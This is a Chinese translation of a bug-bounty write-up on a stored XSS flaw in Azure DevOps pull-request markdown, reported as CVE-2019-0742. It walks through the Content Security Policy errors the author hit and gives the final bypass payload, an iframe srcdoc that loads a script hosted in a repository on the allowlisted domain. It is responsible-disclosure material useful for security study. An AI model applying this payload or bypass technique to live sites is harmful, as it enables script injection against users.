微软旗下协同平台Azure DevOps的存储型XSS漏洞(绕过CSP)

iso60001  1876天前

22.jpg

最近,微软启动了一个针对Azure DevOps的漏洞悬赏计划。在一个新的应用上找漏洞总是如此的吸引人。让我们开始吧!

我们的目标是https://dev.azure.com,这是一个由Microsoft开发的Git的web服务器。我在其中的markdown编辑器中发现了一个XSS漏洞。

当你创建一个Git的pull请求时,可以使用markdown添加一些注释。而由于网站markdown的渲染未能转义某些字符,最后导致出现XSS漏洞。

我用大量XSS的payload不停在markdown输入框进行复制粘贴来测试,发现浏览器会把我重定向到一个奇怪的URL。我试图找出最短的payload,经过多次尝试,我发现如果我把HTML代码放在2个$和一个%之间,那么这个HTML代码就会神奇地出现在回应页面中,例如:

$%<img src=1>$

33.png

我尝试使用img标签的on error来触发XSS,但什么都没有发生。我在Chrome的控制台中看到了以下错误。

1?_a=overview:1 Refused to execute inline event handler because it violates the following Content Security Policy directive: "sc ript-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-JNv3ZUluxXSBwNijHMtlKg=='". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.

44.png

原来被CSP拦截了。貌似是因为unsafe-inline的原因。

而当我使用最原始的alert函数时,CSP表示这是一个unsafe-eval

55.png

OK,由于dev.azure.com本身在白名单中,所以我选择将插入代码的SRC指向一个包含payload的repo文件。

66.png77.png

??貌似sc ript受前端框架影响也不行。看样子我需要找到彻底绕过CSP的方法,或者绕过这个前端框架。

首先,完整的CSP规则如下:

content-security-policy: default-src 'none'; font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com; style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn; connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net; img-src http: https: blob: data:; sc ript-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw=='; child-src * blob: tfs:; fr ame-src * blob: tfs:; media-src http: https:;

其中fr ame-src * blob: tfs:;引起了我的注意。难道if rame可以?

88.png

最后的payload

$
<if rame srcdoc="<sc ript src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDesc riptor%5BversionOptions%5D=0&versionDesc riptor%5BversionType%5D=0&versionDesc riptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></sc ript>"></if rame>
$

微软在接到我的报告后,立马处理这个漏洞,并标记为CVE-2019-0742。

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://5alt.me/2019/02/xss-in-azure-devops/

最新评论

昵称
邮箱
提交评论